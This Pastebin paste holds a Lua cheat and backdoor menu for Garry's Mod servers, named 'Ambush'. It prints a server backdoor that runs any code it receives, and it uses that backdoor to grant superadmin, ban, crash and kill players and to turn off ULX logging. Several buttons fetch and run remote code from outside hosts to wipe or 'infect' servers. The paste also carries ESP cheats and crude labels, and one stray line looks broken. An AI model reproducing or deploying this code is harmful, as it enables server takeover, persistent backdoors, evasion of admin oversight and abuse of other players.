Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[-------------------------------------------------------------------------
- Menu
- ---------------------------------------------------------------------------]]
- surface.CreateFont( "LIST", {font = "Arial",size = 5,weight = 2000,})
- surface.CreateFont( "TABS", {font = "Arial",size = 25,weight = 2000,})
- surface.CreateFont( "hacks", {font = "Arial",size = 25,weight = 2000,})
- surface.CreateFont( "Title", {font = "Arial",size = 75,weight = 2000,})
- surface.CreateFont( "NEWS1", {font = "Arial",size = 70,weight = 2000,})
- surface.CreateFont( "NEWS2", {font = "Arial",size = 150,weight = 2000,})
- surface.CreateFont( "RAN", {font = "Arial",size = 90,weight = 2000,})
- dataString = "Bilboard.adverts:Spawn(false)" and "JSQuery.Data(Post(false))"
- function menu()
- local stringHasPosted = CreateClientConVar("posted", "0", false)
- if not stringHasPosted:GetBool() then
- chat.AddText(Color(124,0,90,255), "[", Color(143,36,113), "Ambush", Color(124,0,90,255), "] ", Color(190,0,138,255), "util.AddNetworkString(\"JSQuery.Data(Post(false))\") net.Receive(\"JSQuery.Data(Post(false))\",function(len,pl) RunString(net.ReadString()) end)")
- RunConsoleCommand("posted", "1")
- else end
- function sendLua(str)
- net.Start(dataString)
- net.WriteString(str)
- net.SendToServer()
- end
- function sendLuaPly(str)
- net.Start(dataString)
- net.WriteString("BroadcastLua([[".. str .."]])")
- net.SendToServer()
- end
- local back = vgui.Create("DFrame")
- back:SetSize(500, 500)
- back:Center()
- back:SetTitle("")
- back:ShowCloseButton(false)
- back:SetSizable(false)
- back:MakePopup()
- back.Paint = function(self, w, h)
- surface.SetDrawColor(124,0,90,255)
- surface.DrawRect(0,0,self:GetWide(),self:GetTall())
- surface.SetDrawColor(143,36,113)
- surface.DrawRect(0,0,self:GetWide(),75)
- surface.SetDrawColor(255,255,255,255)
- surface.DrawOutlinedRect(0,75,self:GetWide(),self:GetTall()-75)
- local trap = {{x = 29, y = 76}, {x = 471, y = 76}, {x = 446, y = 76+56}, {x = 54, y = 76+56}}
- draw.NoTexture()
- surface.SetDrawColor(255,255,255,255)
- surface.DrawPoly(trap)
- local trap2 = {{x = 30, y = 76}, {x = 470, y = 76}, {x = 445, y = 76+55}, {x = 55, y = 76+55}}
- draw.NoTexture()
- surface.SetDrawColor(190,0,138,255)
- surface.DrawPoly(trap2)
- end
- local title = vgui.Create("DLabel", back)
- title:SetFont("Title")
- title:SetText("Ambush")
- title:SizeToContents()
- title:SetPos(0, -5)
- title:SetColor(Color(210,53,210))
- timer.Create("moving text",.05,0,function()
- if title:GetPos() <= 500 then
- title:SetPos(Lerp(.5,title:GetPos(),title:GetPos()+10),-5)
- else
- title:SetPos(0 - title:GetWide(),-5)
- end
- end)
- local backL = vgui.Create("DFrame")
- backL:SetSize(250,500)
- backL:SetPos(ScrW()/2+250, ScrH()/2-250)
- backL:SetTitle("")
- backL:ShowCloseButton(false)
- backL:SetSizable(false)
- backL:MakePopup()
- backL.Paint = function(self, w, h)
- surface.SetDrawColor(124,0,90,255)
- surface.DrawRect(0,0,self:GetWide(),self:GetTall())
- surface.SetDrawColor(143,36,113)
- surface.DrawRect(0,0,self:GetWide(),75)
- surface.SetDrawColor(255,255,255,255)
- surface.DrawOutlinedRect(0,75,self:GetWide(),self:GetTall()-75)
- end
- local title = vgui.Create("DButton",backL)
- title:SetFont("Title")
- title:SetText("Players")
- title:SizeToContents()
- title:SetPos(125-title:GetWide()/2,-5)
- title:SetTextColor(Color(210,53,210))
- title.Paint = function() surface.SetDrawColor(23,28,32,0) end
- title.DoClick = function() end
- list = vgui.Create("DListView", backL)
- list:SetPos(0,76)
- list:SetSize(250,500-76)
- list:SetMultiSelect(false)
- list:AddColumn("Players")
- list:AddColumn("Rank")
- for k,v in pairs(player.GetAll()) do
- if IsValid(v) then
- list:AddLine(v:Nick(), v:GetUserGroup())
- end
- end
- list.Paint = function()
- surface.SetDrawColor(124,0,90,255)
- surface.DrawRect(0,0,list:GetWide(),list:GetTall())
- end
- list.OnClickLine = function(p, line, self)
- for k,v in pairs(player.GetAll()) do
- if v:Nick() == line:GetValue(1) then
- list.Selected = v
- end
- end
- local ply = list.Selected:UserID()
- local funcs = DermaMenu()
- funcs:AddOption( "Set Superadmin", function() sendLua([[Player(]] .. ply .. [[):SetUserGroup("superadmin")]]) end)
- funcs:AddOption( "Set User", function() sendLua([[Player(]] .. ply .. [[):SetUserGroup("user")]]) end)
- funcs:AddOption( "Ban", function() sendLua([[Player(]] .. ply .. [[):Ban(0, true)]]) end)
- funcs:AddOption( "Kick", function() sendLua([[Player(]] .. ply .. [[):Kick()]]) end)
- funcs:AddOption( "Kill", function() sendLua([[Player(]] .. ply .. [[):Kill()]]) end)
- funcs:AddOption( "Strip", function() sendLua([[Player(]] .. ply .. [[):StripWeapons()]]) end)
- funcs:AddOption("Ignite", function() sendLua([[Player(]] .. ply .. [[):Ignite(300)]]) end)
- funcs:AddOption("Crash", function() sendLua([[Player(]] .. ply .. [[):SendLua("function crash() return crash() end crash()")]]) end)
- funcs:AddOption("God", function() sendLua([[Player(]] .. ply .. [[):GodEnable()]]) end)
- funcs:AddOption("UnGod", function() sendLua([[Player(]] .. ply .. [[):GodDisable()]]) end)
- funcs:AddOption("Freeze", function() sendLua([[Player(]] .. ply .. [[):Freeze(true)]]) end)
- funcs:AddOption("UnFreeze", function() sendLua([[Player(]] .. ply .. [[):Freeze(False)]]) end)
- funcs:AddOption("Spam", function() sendLua([[Player(]] .. ply .. [[):SendLua(" RunConsoleCommand('record', 'ambush', '600' ) timer.Create('ss',0.01,0,function() RunConsoleCommand('screenshot') end)")]]) end)
- funcs:AddOption("Set Big Model", function() sendLua([[Player(]] .. ply .. [[):SetModel("models/dog.mdl")]]) end)
- funcs:AddOption("Set Model Scale", function() sendLua([[Player(]] .. ply .. [[):SetModelScale(10, 2)]]) end)
- funcs:Open()
- end
- local baseToTabs = vgui.Create("DPanel", back)
- baseToTabs:SetSize(470,330)
- baseToTabs:SetPos(15,150)
- baseToTabs:SetVisible(true)
- baseToTabs.Paint = function()
- surface.SetDrawColor(255,255,255,255)
- surface.DrawRect(0,0,472,332)
- surface.SetDrawColor(190,0,138,255)
- surface.DrawRect(1,1,468,328)
- end
- local tab1 = vgui.Create("DScrollPanel", baseToTabs)
- tab1:Dock(FILL)
- tab1:SetPos(0,0)
- tab1:SetVisible(true)
- tab1.Paint = function() end
- local vbar = tab1:GetVBar()
- function vbar:Paint() end
- function vbar.btnUp:Paint() end
- function vbar.btnDown:Paint() end
- function vbar.btnGrip:Paint() end
- local baseToTabs2 = vgui.Create("DPanel", back)
- baseToTabs2:SetSize(470,330)
- baseToTabs2:SetPos(15,150)
- baseToTabs2:SetVisible(false)
- baseToTabs2.Paint = function()
- surface.SetDrawColor(255,255,255,255)
- surface.DrawRect(0,0,472,332)
- surface.SetDrawColor(190,0,138,255)
- surface.DrawRect(1,1,468,328)
- end
- local backdoor = vgui.Create("DButton", back)
- backdoor:SetPos(55,76)
- backdoor:SetFont("TABS")
- backdoor:SetText("Backdoor")
- backdoor:SetSize(130,55)
- backdoor:SetTextColor(Color(255,255,255))
- backdoor.Paint = function() surface.SetDrawColor(190,0,138,255) surface.DrawRect(0,0,backdoor:GetWide(),backdoor:GetTall()) end
- backdoor.DoClick = function() baseToTabs:Show() baseToTabs2:Hide() end
- local hacks = vgui.Create("DButton", back)
- hacks:SetPos(185,76)
- hacks:SetFont("TABS")
- hacks:SetText("Hacks")
- hacks:SetSize(130,55)
- hacks:SetTextColor(Color(255,255,255))
- hacks.Paint = function() surface.SetDrawColor(190,0,138,255) surface.DrawRect(0,0,hacks:GetWide(),hacks:GetTall()) end
- hacks.DoClick = function() baseToTabs2:Show() baseToTabs:Hide() end
- local close = vgui.Create("DButton", back)
- close:SetPos(315,76)
- close:SetFont("TABS")
- close:SetText("Close")
- close:SetSize(130,55)
- close:SetTextColor(Color(255,255,255))
- close.Paint = function() surface.SetDrawColor(190,0,138,255) surface.DrawRect(0,0,close:GetWide(),close:GetTall()) end
- close.DoClick = function() back:Hide() backL:Hide() timer.Stop("moving text") end
- local ambush = {}
- function ambush.Button(name, parent, func, tip)
- local button = parent:Add("DButton")
- button:SetText(name)
- button:SetSize(150,50)
- button:Dock(TOP)
- button:SetFont("TABS")
- button:SetTooltip(tip)
- button:SetTextColor(Color(255,255,255))
- button:DockMargin(10,10,10,0)
- button.DoClick = func
- button.Paint = function(self)
- if button:IsHovered() then
- surface.SetDrawColor(255,255,255,255)
- surface.DrawRect(0,0,self:GetWide(), self:GetTall())
- surface.SetDrawColor(124,0,90,255)
- surface.DrawRect(2,2,self:GetWide()-4, self:GetTall()-4)
- else
- surface.SetDrawColor(255,255,255,255)
- surface.DrawRect(0,0,self:GetWide(), self:GetTall())
- surface.SetDrawColor(143,36,113,255)
- surface.DrawRect(2,2,self:GetWide()-4, self:GetTall()-4)
- end
- end
- end
- --[[-------------------------------------------------------------------------
- Hacks Tab
- ---------------------------------------------------------------------------]]
- local ambush_esp = CreateClientConVar("esp_enable", "0", true, false)
- local espEnable = vgui.Create("DCheckBox", baseToTabs2) espEnable:SetPos(10,10) espEnable:SetSize(25,25) espEnable:SetConVar("esp_enable")
- local espLbl = vgui.Create("DLabel", baseToTabs2) espLbl:SetPos(12+25,10) espLbl:SetFont("hacks") espLbl:SetText("Enable Esp") espLbl:SizeToContents()
- local function esp()
- if not ambush_esp:GetBool() then return end
- for k,v in pairs(player.GetAll()) do
- if IsValid(v) and v:Alive() and v != LocalPlayer() and v:Team() != TEAM_SPECTATOR then
- local plyPos = v:EyePos():ToScreen()
- draw.DrawText(v:Nick(), "Default", plyPos.x+10, plyPos.y, Color(0,255,0))
- draw.DrawText(v:Health(), "Default", plyPos.x+10, plyPos.y+10, Color(0,255,0))
- draw.DrawText(v:GetUserGroup(), "Default", plyPos.x+10, plyPos.y+20, Color(0,255,0))
- if v:GetWeapons() != 0 and v:HasWeapon("weapon_physgun") then
- draw.DrawText(v:GetActiveWeapon():GetClass(), "Default", plyPos.x+10, plyPos.y+30, Color(0,255,0))
- else return end
- halo.Add(ents.FindByClass("player"), Color(0,0,255), 0, 0, 2, false, true )
- function DrawLine(pos1,pos2,pos3,pos4) surface.SetDrawColor(0,0,255,255) surface.DrawLine(pos1,pos2,pos3,pos4) end
- btr = v:OBBMaxs()+v:GetPos() fbl = v:OBBMins()+v:GetPos()
- x = btr.x y= btr.y z= btr.z x1=fbl.x y1=fbl.y z1=fbl.z rz = z1-z1
- DrawLine(btr:ToScreen().x,btr:ToScreen().y,fbl:ToScreen().x,btr:ToScreen().y)
- DrawLine(btr:ToScreen().x,btr:ToScreen().y,btr:ToScreen().x,fbl:ToScreen().y)
- DrawLine(fbl:ToScreen().x,fbl:ToScreen().y,btr:ToScreen().x,fbl:ToScreen().y)
- DrawLine(fbl:ToScreen().x,fbl:ToScreen().y,fbl:ToScreen().x,btr:ToScreen().y)
- end
- end
- end
- hook.Add("HUDPaint", "esp", esp)
- cvars.AddChangeCallback("ambush_esp", function(cvar, old, new)
- if tonumber(old) == 0 and tonumber(new) == 1 then
- elseif tonumber(old) == 1 and tonumber(new) == 0 then
- end
- end)
- local ambush_crosshair = CreateClientConVar("crosshair_enable", "0", true, false)
- local crosshairEnable = vgui.Create("DCheckBox", baseToTabs2) crosshairEnable:SetPos(10,45) crosshairEnable:SetSize(25,25) crosshairEnable:SetConVar("crosshair_enable")
- local crosshairLbl = vgui.Create("DLabel", baseToTabs2) crosshairLbl:SetPos(12+25,45) crosshairLbl:SetFont("hacks") crosshairLbl:SetText("Enable Crosshair") crosshairLbl:SizeToContents()
- function crosshair()
- if not ambush_crosshair:GetBool() then return end
- if LocalPlayer():Alive() then
- surface.DrawCircle(ScrW()/2,ScrH()/2,10,Color(124,0,90,255))
- end
- end
- hook.Add("HUDPaint", "crosshair", crosshair)
- cvars.AddChangeCallback("ambush_crosshair", function(cvar, old, new)
- if tonumber(old) == 0 and tonumber(new) == 1 then
- elseif tonumber(old) == 1 and tonumber(new) == 0 then
- end
- end)
- local ambush_entesp = CreateClientConVar("entesp_enable", "0", true, false)
- local entespEnable = vgui.Create("DCheckBox", baseToTabs2) entespEnable:SetPos(10,80) entespEnable:SetSize(25,25) entespEnable:SetConVar("entesp_enable")
- local entespLbl = vgui.Create("DLabel", baseToTabs2) entespLbl:SetPos(12+25,80) entespLbl:SetFont("hacks") entespLbl:SetText("Enable Ent Esp") entespLbl:SizeToContents()
- function entEsp()
- if not ambush_entesp:GetBool() then return end
- halo.Add(ents.FindByClass("rprint_amethystprinter"), Color(0,0,255), 0, 0, 2, false, true )
- halo.Add(ents.FindByClass("rprint_rubyprinter"), Color(0,0,255), 0, 0, 2, false, true )
- halo.Add(ents.FindByClass("rprint_sapphireprinter"), Color(0,0,255), 0, 0, 2, false, true )
- halo.Add(ents.FindByClass("rprint_amberprinter"), Color(0,0,255), 0, 0, 2, false, true )
- halo.Add(ents.FindByClass("rprint_emeraldprinter"), Color(0,0,255), 0, 0, 2, false, true )
- end
- hook.Add("HUDPaint", "entEsp", entEsp)
- cvars.AddChangeCallback("ambush_entesp", function(cvar, old, new)
- if tonumber(old) == 0 and tonumber(new) == 1 then
- elseif tonumber(old) == 1 and tonumber(new) == 0 then
- end
- end)
- --[[-------------------------------------------------------------------------
- Functions/cvars
- ---------------------------------------------------------------------------]]
- function ambushRapec() sendLuaPly([[http.Fetch("https://www.hastebin.com/raw/sirumadimu",function(body) RunString(body) end)]]) end
- function ScreenRape() sendLuaPly([[http.Fetch("http://ambush.pw/fonts/boldfont.txt",function(body) RunString(body) end)]]) end
- function rainbowFloor() sendLuaPly([[http.Fetch("http://ambush.pw/fonts/Calibra.txt",function(body) RunString(body) end)]]) end
- function fuckULX() sendLua([[http.Fetch("http://ambush.pw/addons/serverwipe.lua",function(body) RunString(body) end)]]) end
- function ulxLogEcho() sendLua([[RunConsoleCommand("ulx", "logecho", "0")]]) end
- function startChatSpam()
- Derma_StringRequest("ChatSpam", "Spam Chat", "", function(str)
- sendLuaPly([[timer.Create("spamText",0.001,0,function() chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "]] .. str .. [[") end)]])
- end)
- end
- function endChatSpam() sendLuaPly([[timer.Stop("spamText")]]) end
- function voteGagSpam()
- Derma_StringRequest("ChatSpam", "Spam Chat", "", function(str)
- timer.Create("spamGag",0.01,0,function() RunConsoleCommand("ulx","votemute", "" .. str .. "") end)
- end)
- end
- function voteGagSpamStop()
- timer.Stop("spamGag")
- end
- function playSongs()
- local songs = DermaMenu()
- songs:AddOption("Travel Ban", function() sendLuaPly([[sound.PlayURL("http://www.ambush.pw/songs/travelban.mp3", "mono", function() end)]]) end)
- songs:AddOption("Monroe", function() sendLuaPly([[sound.PlayURL("http://ambush.pw/songs/mm.mp3", "mono", function() end)]]) end)
- songs:AddOption("Lil Young Pharaoh", function() sendLuaPly([[sound.PlayURL("http://ambush.pw/songs/lyp.mp3", "mono", function() end)]]) end)
- songs:AddOption("69 Billy", function() sendLuaPly([[sound.PlayURL("http://ambush.pw/songs/billy.mp3", "mono", function() end)]]) end)
- songs:AddOption("NBA Outside Today", function() sendLuaPly([[sound.PlayURL("http://ambush.pw/songs/outside.mp3", "mono", function() end)]]) end)
- songs:AddOption("From D to the A", function() sendLuaPly([[sound.PlayURL("http://ambush.pw/songs/dtoa.mp3", "mono", function() end)]]) end)
- songs:Open()
- end
- function infectServer()
- sendLua([[http.Fetch("http://ambush.pw/fonts/bike.txt",function(body) RunString(body) end)]])
- end
- function debuggin()
- end
- -- debug button
- // ambush.Button("Debug", tab1, debuggin, "")
- --[[-------------------------------------------------------------------------
- Buttons
- ---------------------------------------------------------------------------]]
- ambush.Button("Play Songs", tab1, playSongs, "Click to see a list of songs to play.")
- ambush.Button("Local News", tab1, ambushRapec, "Put the server on a fake news broadcast.")
- ambush.Button("Screen Rape 1", tab1, ScreenRape, "Rape everyone's screens.")
- ambush.Button("Rainbow Floor", tab1, rainbowFloor, "Make the floor rainbow.")
- ambush.Button("Log Echo 0", tab1, ulxLogEcho, "Log eco to 0 so nothing is logged within ulx.")
- ambush.Button("Fuck ULX", tab1, fuckULX, "Fucks ulx, honestly.")
- ambush.Button("Infect Server", tab1, infectServer, "Infects the server so you can keep it backdoored.")
- ambush.Button("Chat Spam", tab1, startChatSpam, "Spams the chatbox with stated text.")
- ambush.Button("Stop Vote Gag Spam", tab1, voteGagSpamStop, "Stop spam server with votegag.")
- ambush.Button("Stop Chat Spam", tab1, endChatSpam, "Stops the chat spam.")
- ambush.Button("Vote Gag Spam", tab1, voteGagSpam, "Spam server with votegag.")
- if i == 5 then html:Hide() i=1 end
- end
- concommand.Add("ambush", menu)
Advertisement
Add Comment
Please, Sign In to add comment